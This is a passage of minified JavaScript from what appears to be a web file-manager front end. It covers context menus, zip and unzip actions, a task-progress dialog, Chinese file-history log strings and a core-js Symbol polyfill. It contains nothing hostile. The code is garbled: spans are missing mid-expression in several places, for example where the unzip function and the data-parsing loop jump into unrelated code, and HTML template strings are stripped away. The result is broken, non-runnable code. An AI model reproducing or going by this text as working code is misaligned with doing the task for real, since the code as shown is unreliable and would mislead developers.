x-app-link"},"select-all":{"name":LNG["common.selectAllItem"]+"Ctrl+A"},"select-reverse":{"name":LNG["common.selectInvert"]+"Shift+Ctrl+A"},"select-clear":{"name":LNG["common.selectNull"]+"Shift+Ctrl+A"},"share-to-me-all":{"name":LNG["common.all"],"icon":"ri-checkbox-multiple-fill"},"share-to-me-show":{"name":LNG["common.default"],"icon":"ri-eye-line"},"share-to-me-hide":{"name":LNG["common.isHide"],"icon":"ri-eye-off-line"},"share-hide":{"name":LNG["common.hide"],"icon":"ri-eye-off-line"},"share-show":{"name":LNG["common.cancelHide"],"icon":"ri-eye-fill"},"refresh-tree":{"name":LNG["explorer.refreshTree"],"icon":"ri-refresh-line","accesskey":"e"},"open-with":{"name":LNG["explorer.openWith"],"icon":" ri-external-link-line","accesskey":"a","items":{"open-with-first":{"name":"","className":"hidden"}}},"new-file-others":{"name":LNG["explorer.newFile"],"icon":" ri-file-line","accesskey":"w","items":{"new-file":{"name":"txt "+LNG["common.file"],"icon":"x-item-icon x-txt small"},"new-file-md":{"name":"md "+LNG["common.file"],"icon":"x-item-icon x-md"},"new-file-html":{"name":"html "+LNG["common.file"],"icon":"x-item-icon x-html"},"step1011":"--------","new-file-docx":{"name":"Word docx "+LNG["common.file"],"icon":"x-item-icon x-docx"},"new-file-xlsx":{"name":"Excel xlsx "+LNG["common.file"],"icon":"x-item-icon x-xlsx"},"new-file-pptx":{"name":"PowerPoint pptx "+LNG["common.file"],"icon":"x-item-icon x-pptx"},"step1012":"--------","app-install":{"name":LNG["explorer.app.app"],"icon":"x-item-icon x-app-store","accesskey":"a"}}},"set-list-type":{"name":LNG["explorer.file.listType"],"icon":" ri-inbox-line","items":{"set-list-icon":{"name":LNG["explorer.file.listIcon"],"className":"set-list-type-item"},"set-list-list":{"name":LNG["explorer.file.listList"],"className":"set-list-type-item"},"set-list-split":{"name":LNG["explorer.file.listListSplit"],"className":"set-list-type-item"}}},"set-sort-by":{"name":LNG["explorer.file.orderType"],"accesskey":"y","icon":"ri-sort-desc","items":{"set-sort-name":{"name":LNG["explorer.file.name"],"className":"set-sort-field-item"},"set-sort-ext":{"name":LNG["explorer.file.type"],"className":"set-sort-field-item"},"set-sort-size":{"name":LNG["explorer.file.size"],"className":"set-sort-field-item"},"set-sort-modifyTime":{"name":LNG["explorer.file.modifyTime"],"className":"set-sort-field-item"},"step1021":"--------","set-order-up":{"name":LNG["explorer.file.sortUp"],"className":"set-sort-order-item"},"set-order-down":{"name":LNG["explorer.file.sortDown"],"className":"set-sort-order-item"}}},"set-icon-size":{"name":LNG["explorer.toolbar.fileSizeTitle"],"icon":" ri-image-line","items":{"icon-size-smallx":{"name":LNG["explorer.toolbar.fileSizeSuper"],"className":"set-icon-size-item"},"icon-size-small":{"name":LNG["explorer.toolbar.fileSizeSmall"],"className":"set-icon-size-item"},"icon-size-default":{"name":LNG["explorer.toolbar.fileSizeDefault"],"className":"set-icon-size-item"},"icon-size-big":{"name":LNG["explorer.toolbar.fileSizeBig"],"className":"set-icon-size-item"},"icon-size-bigx":{"name":LNG["explorer.toolbar.fileSizeBigSuper"],"className":"set-icon-size-item"}}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var o=function n(e){return e&&e.__esModule?e:{"default":e}}(i(473));t["default"]=ClassBase.extend({"extSupport":"zip,tar,gz,tgz,ipa,apk,rar,7z,iso,bz2,zx,z,arj,epub","init":function(e){this.pathAction=this.root.pathAction,this.initZipView(),this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow}),this._delay(this.resetDownload,100)},"initZipView":function(){var n=this;this.supportZip()&&kodApp.add({"name":"zipView","title":LNG["admin.plugin.defaultZipView"],"sort":-1,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_file/zip.png","callback":function(e,t,i){(n.pathModel?n:kodApp.pathAction.root.plugins.zipView).initView(e,i)}})},"supportZip":function(){return"share"!=this.root.pageType||"1"==_.get(G,"system.options.shareLinkZip")},"menuShow":function(n){if(_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-path-folder-tree",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],n.menuType)){var e=this.menuAppend(n),t=this.extSupport.split(","),i=e&&_.includes(t,e.ext)?"menuItemShow":"menuItemHide";$.contextMenu[i](n,"unzip");var a=this.pathAction.auth.canWrite(n.$target);this._each(["zip","unzip"],function(e,t){var i=this.pathAction.auth.authCheck(e,n.$target);a&&i||$.contextMenu.menuItemDisable(n,e)})}},"menuAppend":function(e){var t=this.actionGetInfo(e.$target,"makeParamItem");if(e.extendZipView)return t;var i=_.bind(this.doAction,this),n={"unzip":{"name":LNG["explorer.unzip"],"icon":"ri-folder-open-line","items":{"unzip-this":{"name":LNG["explorer.unzipThis"],"icon":"ri-external-link-line","callback":i},"unzip-folder":{"name":LNG["explorer.unzipFolder"],"icon":"ri-external-link-line","callback":i},"unzip-to":{"name":LNG["explorer.unzipTo"],"icon":"ri-external-link-line","callback":i}}}},a={"zip":{"name":LNG["explorer.zip"],"icon":"ri-external-link-line","items":{"zip-zip":{"name":"ZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"sep1010":"--------","zip-tar":{"name":"TAR "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"zip-tgz":{"name":"GZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i}}}};return $.contextMenu.menuAdd(n,e,"",".more-action"),t&&"folder"!=t.type?$.contextMenu.menuAdd(a,e,".more-action .context-menu-separator"):_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],e.menuType)&&$.contextMenu.menuAdd(a,e,"",".path-info"),e.extendZipView=!0,t},"initView":function(n,a){var r=this;this.pathModel.unzipList({"path":n},function(e){if(e&&e.code&&!_.isString(e.data)){var t="zipViewDialog"+roundString(4),i=new o["default"]({"parent":r});i.initDialog(n,a,e.data),r[t]=i}})},"actionGetInfo":function(e,t){var i=this.pathAction;return $.isDom(e)&&e.hasClass("tree-node")&&(i=this.root.tree.treeAction),i[t]()},"doAction":function(e,t){switch(e){case"unzip-this":this.unzipFile("this");break;case"unzip-folder":this.unzipFile("folder");break;case"unzip-to":this.unzipFile("to");break;case"zip-zip":this.zip("zip",t);break;case"zip-tar":this.zip("tar",t);break;case"zip-tgz":this.zip("tgz",t)}},"unzipFile":function(e){var t=this.pathAction.makeParamItem();this.unzip(e,t.path,t.name)},"zip":function(e,t){var i=this.actionGetInfo(t.$target,"makeParamArray");if(i){if(!this.pathAction.auth.canWrite())return Tips.notify.tips(LNG["explorer.noPermissionWrite"],"warning",3e3),!1;if(!this.root.spaceSize.spaceCheck())return Tips.notify.tips(LNG["explorer.spaceIsFull"],"warning",3e3),!1;this.pathAction.flagCurrentPath();var n=this;i=$.extend({},{"type":e},i),this.pathModel.zip(i,function(e){n.pathAction.refreshCallback(e)})}},"unzip":function(e,t,i){var n=3',"icon":" ri-file-line-3","content":LNG["explorer.loading"]}),a=c.requestSend(c.apiConfig[o],e,function(e){clearTimeout(r),n.close(e),e&&(e.code&&!_.isString(e.data)||(e.data=""),t&&t(e))},i,o);n.$main.find(".clear").hide();var r=s._delay(function(){a.abort(),s.listTips[e.longTaskID]={"timer":!1,"tips":n},s.notifyView(n,e.longTaskID,t),s.bindDialogEvent(n.$main)},1e3);return a}})},"notifyView":function(o,s,l){this.model.get({"id":s},_.bind(function(e){if(!e||!e.code||_.isEmpty(e.data))return this.listTips[s]=!1,o.close({"code":!1,"data":""}),void(l&&l({"code":!1,"data":""}));if("task_finished"==e.info)return this.listTips[s]=!1,o.close(e.data),e.data.code&&!_.isString(e.data.data)||(e.data.data=""),void(l&&l(e.data));this.listTips[s]&&(this.listTips[s].timer=this._delay(function(){this.notifyView(o,s,l)},this.refreshDelay));var t=this.itemParse(e.data),i=o.$main.find(".list-item");if(0==i.length){var n=c(157),a=this.renderHtml(n,{"item":t},!1),r=o.$main.find(".kui-notify-content-message");a='
    '+a+"
    ",r.removeClass("hidden"),r.html(a)}else this.itemUpdate(t,i)},this))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(400)),r=a(i(64));function a(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.model=new n["default"]({"parent":this}),this.reloadView=_.bind(this.reloadView,this),this.refreshDelay=800,this.bindEvent()},"bindEvent":function(){var e=this.$el;e.undelegate(".task-view-dialog","click"),e.delegate(".task-view-dialog","click",_.bind(this.initViewDialog,this)),this.bind("onRemove",function(){e.undelegate(".task-view-dialog","click")})},"initViewDialog":function(){if(!this.view){var e=this,t=i(401);this.view=$.dialog({"className":"task-list-view-dialog dialog-bg-blur","ico":' ',"title":LNG["common.task.name"],"width":450,"height":600,"padding":0,"content":this.renderHtml(t,!1,!1),"resize":!0,"fixed":!0,"close":function(){e.view=!1,e.dataBefore=!1,clearTimeout(e.refreshTimer),this.refreshTimer=!1}}),this.bindDialogEvent(this.view.$main),this.refreshTimer=this._delay(this.reloadView,this.refreshDelay),this.bind("onRemove",function(){clearTimeout(this.refreshTimer),this.refreshTimer=!1}),this.initViewDialogAfter()}},"initViewDialogAfter":function(){},"reloadView":function(){if(this.view){var o=i(157),s=this.view.$main;clearTimeout(this.refreshTimer),this.model.list(!1,_.bind(function(e){if(this.view){this.refreshTimer=this._delay(this.reloadView,this.refreshDelay);var a=this.dataBefore||{},i={};e&&e.code?_.each(e.data,function(e){i[e.id]=e}):i=this.dataBefore,this._each(a,function(e,t){i[t]||(s.find('[data-id="'+e.id+'"]').remove(),a[t]=null)});var r=!1;this._each(i,function(e,t){e=this.itemParse(e);var i=s.find('[data-id="'+e.id+'"]');if(a[t])this.itemUpdate(e,i);else{var n=this.renderHtml(o,{"item":e},!1);r?$(n).insertAfter(s.find('[data-id="'+r.id+'"]')):$(n).appendTo(s.find(".list-content"))}r=e}),_.isEmpty(i)?(s.find(".list-empty").removeClass("hidden"),s.find(".task-kill-all").addClass("hidden"),s.find(".list-item").remove()):(s.find(".list-empty").addClass("hidden"),s.find(".task-kill-all").removeClass("hidden")),this.dataBefore=i}},this))}},"itemUpdate":function(e,t){t.attr("data-status")!=e.status&&(t.removeClass("status-"+t.attr("data-status")),t.attr("data-status",e.status).addClass("status-"+e.status)),t.find(".current").html(e.viewCurrent),t.find(".time .time-use em").html(e.viewUseTime),t.find(".time .time-need em").html(e.viewNeedTime),t.find(".kui-process").attr("title",e.viewPercent),t.find(".kui-process-use").css({"width":e.viewPercent}),t.find(".kui-process-info").html(e.viewPercentInfo),t.find(".item.title").html(e.viewTitle)},"itemParse":function(e){e.viewUserInfo||(e.viewUserInfo=r["default"].userInfo(e.userInfo)),e.viewTitle=e.title||LNG[e.type]||e.type||e.id,e.copyMoveList&&(e.viewTitle+=e.copyMoveList.listNumber+LNG["common.items"]),e.viewStartTime=dateFormat(e.timeStart,"m-d H:i:s"),e.viewPercent=(100*e.taskPercent).toFixed(1)+"%",e.viewUseTime=timeShow(e.timeUse),e.viewNeedTime=timeShow(e.timeNeed);var t=e.taskFinished+"/"+e.taskTotal;if(e.viewPercentInfo=""+t+" "+LNG["common.item"]+"",e.viewCurrent="",e.currentTitle&&(e.currentFileName=e.currentTitle+" "+(e.currentFileName||"")),e.currentFileName){var i="";e.currentFileSize&&(i=pathTools.fileSize(e.currentFileFinished)+"/"+pathTools.fileSize(e.currentFileSize)),i=i?"("+i+")":"",e.viewCurrent+=""+e.currentFileName+i+""}if(e.sizeTotal){var n=pathTools.fileSize(e.sizeTotal),a=pathTools.fileSize(e.sizeFinished);e.viewCurrent+=""+a+"/"+n+""}return e.viewCurrent||(e.viewCurrent=e.viewStartTime),e},"bindDialogEvent":function(e){var n=this;e.delegate("[data-action]","click",function(e){var t=$(this).attr("data-action"),i=$(this).parents(".list-item").attr("data-id");switch(t){case"stop":n.model.stop({"id":i},n.reloadView);break;case"start":n.model.start({"id":i},n.reloadView);break;case"kill":$.dialog.confirm(LNG["common.task.removeTips"],function(){n.model.kill({"id":i},n.reloadView)});break;case"killAll":$.dialog.confirm(LNG["common.task.killAllTips"],function(){n.model.killAll(!1,n.reloadView)})}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(13);t["default"]={"dataParseMain":function(e,t){for(var i=[],n=0;n"+a.length+LNG["common.item"]+"
    "):r+="
    "+i+"
    ")}),r&&4'+r+'
    \n\t\t\t\t\t\t\t
    '+LNG["common.showMore"]+'
    \n\t\t\t\t\t\t\t"),{"title":this.dataParseHtmlItem(n[0],e,a),"content":r}}},"dataParseHtmlItem":function(e,t,i){if(_.includes(e,"{{file}}")){var n=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{file}}/g,a)}if(_.includes(e,"{{parent}}")){n=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{parent}}/g,a)}if(_.includes(e,"{{count}}")){a=''+i.length+"";e=e.replace(/{{count}}/g,a)}if(_.includes(e,"{{desc.from}}")){n=t.desc.from||t.desc.fromName||LNG["common.unknow"];if(_.isString(t.desc.from))a=htmlEncode(t.desc.from);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.from}}/g,a)}if(_.includes(e,"{{desc.to}}")){n=t.desc.to||t.desc.toName||LNG["common.unknow"];if(_.isString(t.desc.to))a=htmlEncode(t.desc.to);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.to}}/g,a)}if(_.includes(e,"{{desc.sourceID}}")){n=t.desc.name||t.desc.sourceID,a=this.makeHtmlFile(n);e=e.replace(/{{desc\.sourceID}}/g,a)}if(_.includes(e,"{{desc.content}}")){var r=_.get(t,"desc.content")||_.get(t,"desc.name");if(!r)return"";a=''+htmlEncode(r)+"";e=e.replace(/{{desc\.content}}/g,a)}return e=this.descEditEventParse(t,e)},"descEditEventParse":function(e,t){if("edit"!=e.type)return t;if(!_.get(e,"desc.ua"))return t;var i=" ";(_.includes(G.lang,"zh")||_.includes(G.lang,"ja")||_.includes(G.lang,"ko"))&&(i="");var n=e.desc,a=LNG["common.online"];return n.ua=n.ua.toLowerCase(),n.action=n.action.toLowerCase(),_.includes(n.action,"plugin.webdav")&&(a="webdav"),_.includes(n.ua,", kodcloud")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.toolbar.client"]),a=a+i+LNG["common.edit"],_.includes(n.action,"pathpast")&&(a=LNG["explorer.past"]+i+LNG["common.cover"]),"explorer.history.rollback"==n.action.toLowerCase()&&(a=LNG["explorer.history.changeEvent"]),_.includes(n.ua,"mozilla/")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.history.uploadNew"]),t+'('+a+")"},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+(e||"")+"]";var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n\t\t\t'+(0,n.pathIcon)(e)+'\n '+i+"\n "}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"descMap":function(){var i={"create-mkdir":"新建了该文件夹","create-mkfile":"新建了该文件","create-upload":"上传了该文件","create-copy":"粘贴创建了该文件","create-mkdir-current":"在此新建了文件夹{{file}}","create-mkfile-current":"在此新建了文件{{file}}","create-upload-current":"在此上传了{{file}}","create-copy-current":"粘贴了{{file}}到此处","create-mkdir-item":"在{{parent}}新建了文件夹{{file}}","create-mkfile-item":"在{{parent}}新建了文件{{file}}","create-upload-item":"在{{parent}}上传了{{file}}","create-copy-item":"粘贴{{file}}到{{parent}}","create-mkdir-more":["在此新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more":["在此新建了{{count}}个文件","{{file}}",1],"create-upload-more":["在此上传了上传了{{count}}个文件","{{file}}",1],"create-copy-more":["粘贴了{{count}}个文件到此处","{{file}}",1],"create-mkdir-more-at":["在{{parent}}新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more-at":["在{{parent}}新建了{{count}}个文件","{{file}}",1],"create-upload-more-at":["在{{parent}}上传了{{count}}个文件","{{file}}",1],"create-copy-more-at":["粘贴了{{count}}个文档到{{parent}}","{{file}}",1],"edit":"编辑更新了该文件","edit-item":"编辑更新了{{file}}","edit-more":"编辑更新了该文件{{count}}次","edit-more-at":["在{{parent}}编辑更新了{{count}}个文件","{{file}}",1],"move":"将该文档从{{desc.from}}移动到{{desc.to}}","move-item":"将{{file}}从{{desc.from}}移动到{{desc.to}}","move-current":"将{{file}}从{{desc.from}}移动到此处","move-more":["移动了{{count}}个文档","将{{file}}从{{desc.from}}移动到{{desc.to}}",1],"moveOut":"从此处移走了{{desc.sourceID}}","moveOut-item":"从{{file}}移走了{{desc.sourceID}}","moveOut-more":["移走了{{count}}个文档","从{{file}}移走了{{desc.sourceID}}",1],"share-shareLinkAdd":"将该文档创建了外链分享","share-shareLinkAdd-item":"将{{file}}创建了外链分享","share-shareLinkAdd-more":["创建了{{count}}个外链分享","{{file}}",1],"share-shareToAdd":"将该文档开启了协作分享","share-shareToAdd-item":"将{{file}}开启了协作分享","share-shareToAdd-more":["创建了{{count}}个协作分享","{{file}}",1],"share-shareLinkRemove":"关闭了该文档的外链分享","share-shareLinkRemove-item":"关闭了{{file}}的外链分享","share-shareLinkRemove-more":["关闭{{count}}个外链分享","{{file}}",1],"share-shareToRemove":"关闭了该文档的协作分享","share-shareToRemove-item":"关闭了{{file}}的协作分享","share-shareToRemove-more":["关闭{{count}}个协作分享","{{file}}",1],"share-shareEdit":"编辑了该文档的分享","share-shareEdit-item":"编辑了{{file}}的分享","share-shareEdit-more":["编辑了{{count}}个文档分享","{{file}}",1],"rename":["重命名了该文档","{{desc.from}}{{desc.to}}"],"rename-item":["重命名了{{file}}","{{desc.from}}{{desc.to}}"],"rename-more":["重命名了{{count}}个文档","{{file}}:{{desc.from}}{{desc.to}}",1],"recycle-toRecycle":"将该文档移到了回收站","recycle-toRecycle-current":"在此处将{{file}}移到了回收站","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-toRecycle-more":["将{{count}}个文档移到了回收站","{{file}}",1],"recycle-toRecycle-more-at":["在{{parent}}将{{count}}个文档移到了回收站","{{file}}",1],"recycle-restore":"将该文档从回收站还原","recycle-restore-item":"将{{file}}从回收站还原","recycle-restore-more":["将{{count}}个文档从回收站还原","{{file}}",1],"remove":"删除了{{desc.content}}","remove-current":"在此处删除了{{desc.content}}","remove-more":["在此处删除了{{count}}个文档","{{desc.content}}",1],"remove-item":"在{{parent}}删除了{{desc.content}}","remove-more-at":["在{{parent}}删除了{{count}}个文档","{{desc.content}}",1],"addDesc":["修改了该文档描述","{{desc.content}}"],"addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addDesc-more":["修改了{{count}}个文档描述","{{file}}{{desc.content}}",1],"addComment":["在该文档发表了评论","{{desc.content}}"],"addComment-item":["在{{file}}发表了评论","{{desc.content}}",1],"addComment-more":["在{{file}}发表了{{count}}条评论","{{file}}{{desc.content}}",1]},n={"create-mkdir":"新建文件夹","create-mkfile":"新建文件","create-upload":"上传文件","create-copy":"粘贴文件","edit":"更新文件","move":"移动文件","moveOut":"移走文件","share-shareLinkAdd":"创建了外链分享","share-shareToAdd":"开启了协作分享","share-shareLinkRemove":"关闭的外链分享","share-shareToRemove":"关闭协作分享","share-shareEdit":"编辑分享","rename":"重命名","recycle-toRecycle":"移到回收站","recycle-restore":"从回收站还原","remove":"删除","addDesc":"修改描述","addComment":"发表评论"};return this._each(i,function(e,t){if(_.isString(e)&&(i[t]=this.lang("log-event-"+t,e)),_.isArray(e)){i[t][0]=this.lang("log-event-"+t,e[0]);_.includes(["move-more","moveOut-more"],t)&&(i[t][1]=this.lang("log-event-"+t+"-desc",e[1]))}}),this._each(n,function(e,t){n[t]=LNG["log-type-"+t]}),{"map":i,"descTitle":n}}}},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var i="",t=r.$each,n=e.pathInfo,a=(e.item,e.index,r.$escape);return i+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(164));t["default"]=n["default"].extend({"init":function(){this.$el=this.$root,this.$main=this.$(".ztree"),this.initChildren(),this.bindDrag(),this.drop.initDragParent=_.bind(this.initDragTreeParent,this)},"bindDrag":function(){this.$main.drag({"delegate":"a.tree-node","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"getSelect":function(e){this.$select=$();var t=this,i=$.targetParent(e,".tree-node"),n=i.data("treeNode");if(i&&n){var a=this.root.tree,r=this.root.pathAction;a.triggerEventStop(),a.zTree.selectNode(n),$(document).one("mouseup",function(){t._delay(function(){a.triggerEventStart()},10)}),r.auth.canCopyCute(i)&&(i.data("fileItem",n),this.$select=i)}},"fileDragRender":function(e){var t=$.targetParent(e,".tree-node");this.$drag=$("\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t
    ").appendTo(t.parent()),this.$dragList=this.$select.clone(),this.$dragList.appendTo(this.$drag.find(".file-draging"))},"initDragTreeParent":function(){var e=this.$select.data("treeNode").getParentNode();this.drop.dragPath=e.path}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=c(i(8)),n=i(459),a=c(i(165)),o=c(i(460)),s=c(i(186)),l=c(i(463));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.menuItems=(0,a["default"])(),this.menuList=(0,n.menuList)(),this.menuTypeOption=n.menuTypeOption,this._delay(function(){this.root.trigger("rightMenu.initBefore",this),this.triggerPlugins=new s["default"]({"parent":this}),this.initAll(),e.disableToolbar||(this.toolbarMenu=new o["default"]({"parent":this}))})},"initAll":function(){this.bindEvent(),this.bindNotify(),this.bindExplorer(),this.setListType(),this.setListSort(),this.setIconSize(),this.hotkey=new l["default"]({"parent":this})},"targetData":function(e){var t=this.root.pathAction;e.$target.hasClass("tree-node")&&(t=this.root.tree.treeAction);var i=t.makeParamSelect();return _.isEmpty(i)?{}:i[0]},"bindEvent":function(){var e=this.root.$(".frame-main");e.exists()||(e=this.$el),$('
    \n\t\t\t
    ').appendTo(e),this.$menuTarget=e.find(".rightmenu-target"),this.$menuAt=e.find(".rightmenu-content-list"),this.$menuAt.delegate(".context-menu-list","click",function(e){return stopPP(e)});var t=[".file-continer .file .item-menu",".ztree .tree-node .menu-item",".menu-left-click",".menu-trigger",".menu-toolbar-button"].join(",");$.contextMenu.clickBind(this.$root,t);var i=this,n=function n(e,t){i.root.rootAppSelf(t.$target)&&(i.trigger(e,t,i),i.trigger(e+"@"+t.menuType,t,i))};Events.bind("rightMenu.beforeShow",function(e){n("rightMenu.beforeShow",e)},this),Events.bind("rightMenu.beforeHide",function(e){n("rightMenu.beforeHide",e)},this)},"bindNotify":function(){this.listenTo(this.root.select,{"select.change":function(e,t){if(0!=t.length&&(t.filter("[data-menu-more]").each(function(){$(this).removeClass($(this).attr("data-menu-more")),$(this).addClass($(this).attr("data-menu"))}),1').appendTo(this.$menuTarget);var n=function n(e){_.each(e,function(e,t){"object"==(void 0===e?"undefined":(0,r["default"])(e))&&(e.className=(e.className||"")+" "+t,e.icon=(e.icon||"")+" small",e.items&&n(e.items))})};n(t);var a={"zIndex":9999,"selector":this.$root.selector+" ."+e,"callback":i||_.bind(this.menuCallback,this),"className":e+" animated","appendTo":this.$menuAt,"items":t};t&&!$.isEmptyObject(t)||(a.items={"":{}}),$.contextMenu(a)},"menuItemsParse":function(e,t){t=void 0===t?{}:t;var i=this.menuItems;if(_.isString(e))return _.get(i,e);for(var n=0;n=t["bigx"]-5?"bigx":"default";for(var a in t){var r=t[a];if(r-5<=i&&i<=r+5){n=a;break}}var o=this.$root.find(".set-icon-size-item");o.removeClass("selected"),o.filter(".icon-size-"+n).addClass("selected")},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.listenTo(this.parent,["rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-file","rightMenu.beforeShow@.menu-path-mini-file","rightMenu.beforeShow@.menu-simple-file","rightMenu.beforeShow@.menu-fav-path-file","rightMenu.beforeShow@.menu-share-root-file"].join(" "),this.menuFileShow),this.menuShareBind(),this.adminBindOpenWith()},"menuFileShow":function(e){var t=this.parent.targetData(e);this.imageBackgroundCheck(e,t),this.menuOpenWith(e,t)},"menuShareBind":function(){var n=this;this.listenTo(this.parent,"rightMenu.beforeShow@.menu-share-path",function(e){var t=n.parent.targetData(e),i=e.$menu.find(".share-open-window");"1"==_.get(t,"sourceInfo.shareInfo.isLink")?i.removeClass("disabled"):i.addClass("disabled")},this)},"hideClass":"hidden","imageBackgroundCheck":function(e,t){var i=e.$menu.find(".set-background");_.includes(["jpg","jpeg","png"],t.ext)?i.removeClass(this.hideClass):i.addClass(this.hideClass)},"menuOpenWith":function(e,t){var i=e.$menu.find(".open-with.context-menu-submenu");if(kodApp.getApp(t.ext)){var n=this.getAppMenu(t);this.root.pathAction.auth.canRead(e.$target)||(n.download&&(n.download.className+=" disabled disable"),n.browserOpen&&(n.browserOpen.className+=" disabled disable")),i.removeClass(this.hideClass),i.find(".context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(n,e,".open-with-first")}else i.addClass(this.hideClass)},"adminBindOpenWith":function(){if(this.userModel.isRoot()){var r=this,e=["rightMenu.beforeShow@.menu-path-guest-folder","rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-guest-folder-tree","rightMenu.beforeShow@.menu-path-guest-file-tree"].join(" ");this.listenTo(this.parent,e,function(e){var t=r.parent.targetData(e),n=_.get(G,"kod.WEB_ROOT"),a=t.path||"";if(e.$menu.find(".adminOpenWith").remove(),n&&0==a.indexOf(n)){var i={"app":"adminOpenWith","name":LNG["explorer.openIE"]+" (admin)","icon":"ri-compass-line-3","callback":function(e,t){var i=$.parseUrl().origin+"/";i+=a.substr(n.length),i=urlEncode(i).replace(/%3A/g,":").replace(/%2F/g,"/").replace(/%3F/g,"?"),window.open(i)}};$.contextMenu.menuAdd({"adminOpenWith":i},e,".open")}})}},"getAppMenu":function(n){var a=this.root.kodApp,e=a.getApp(n.ext)||[],t=a.getApp("")||[];e=_.concat(e,[{"name":""}],t);var r={};return this._each(e,function(i){if(""==i.name||i.hidden)return r["step-line"]="-------";r[i.name]={"app":i.name,"name":i.title,"className":i.className,"icon":i.icon,"callback":function(e,t){kodApp.$openTarget=t.$target,a.appCallback(n.path,n.ext,n.name,i)}}}),r}})},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,i){e.exports={"default":i(236),"__esModule":!0}},function(e,t,i){i(31),i(34),e.exports=i(74).f("iterator")},function(e,t,i){e.exports={"default":i(238),"__esModule":!0}},function(e,t,i){i(239),i(57),i(243),i(244),e.exports=i(1).Symbol},function(e,t,i){"use strict";function n(e){var t=U[e]=_(P[F]);return t._k=e,t}function a(e,t){k(e);for(var i,n=D(t=K(t)),a=0,r=n.length;aa;)d(U,t=i[a++])||t==z||t==p||n.push(t);return n}function l(e){for(var t,i=e===Q,n=N(i?B:K(e)),a=[],r=0;n.length>r;)!d(U,t=n[r++])||i&&!d(Q,t)||a.push(U[t]);return a}var c=i(3),d=i(17),h=i(11),u=i(7),f=i(78),p=i(55).KEY,w=i(18),m=i(49),x=i(30),v=i(37),g=i(4),b=i(74),C=i(75),D=i(240),y=i(112),k=i(12),O=i(9),K=i(19),M=i(56),T=i(33),_=i(58),A=i(241),S=i(242),L=i(10),E=i(27),$=S.f,I=L.f,N=A.f,P=c.Symbol,j=c.JSON,R=j&&j.stringify,F="prototype",z=g("_hidden"),G=g("toPrimitive"),q={}.propertyIsEnumerable,H=m("symbol-registry"),U=m("symbols"),B=m("op-symbols"),Q=Object[F],V="function"==typeof P,X=c.QObject,W=!X||!X[F]||!X[F].findChild,Y=h&&w(function(){return 7!=_(I({},"a",{"get":function(){return I(this,"a",{"value":7}).a}})).a})?function(e,t,i){var n=$(Q,t);n&&delete Q[t],I(e,t,i),n&&e!==Q&&I(Q,t,n)}:I,Z=V&&"symbol"==typeof P.iterator?function(e){return"symbol"==typeof e}:function(e){return e instanceof P},J=function(e,t,i){return e===Q&&J(B,t,i),k(e),t=M(t,!0),k(i),d(U,t)?(i.enumerable?(d(e,z)&&e[z][t]&&(e[z][t]=!1),i=_(i,{"enumerable":T(0,!1)})):(d(e,z)||I(e,z,T(1,{})),e[z][t]=!0),Y(e,t,i)):I(e,t,i)};V||(f((P=function(){if(this instanceof P)throw TypeError("Symbol is not a constructor!");var t=v(0te;)g(ee[te++]);for(var ie=E(g.store),ne=0;ie.length>ne;)C(ie[ne++]);u(u.S+u.F*!V,"Symbol",{"for":function(e){return d(H,e+="")?H[e]:H[e]=P(e)},"keyFor":function(e){if(!Z(e))throw 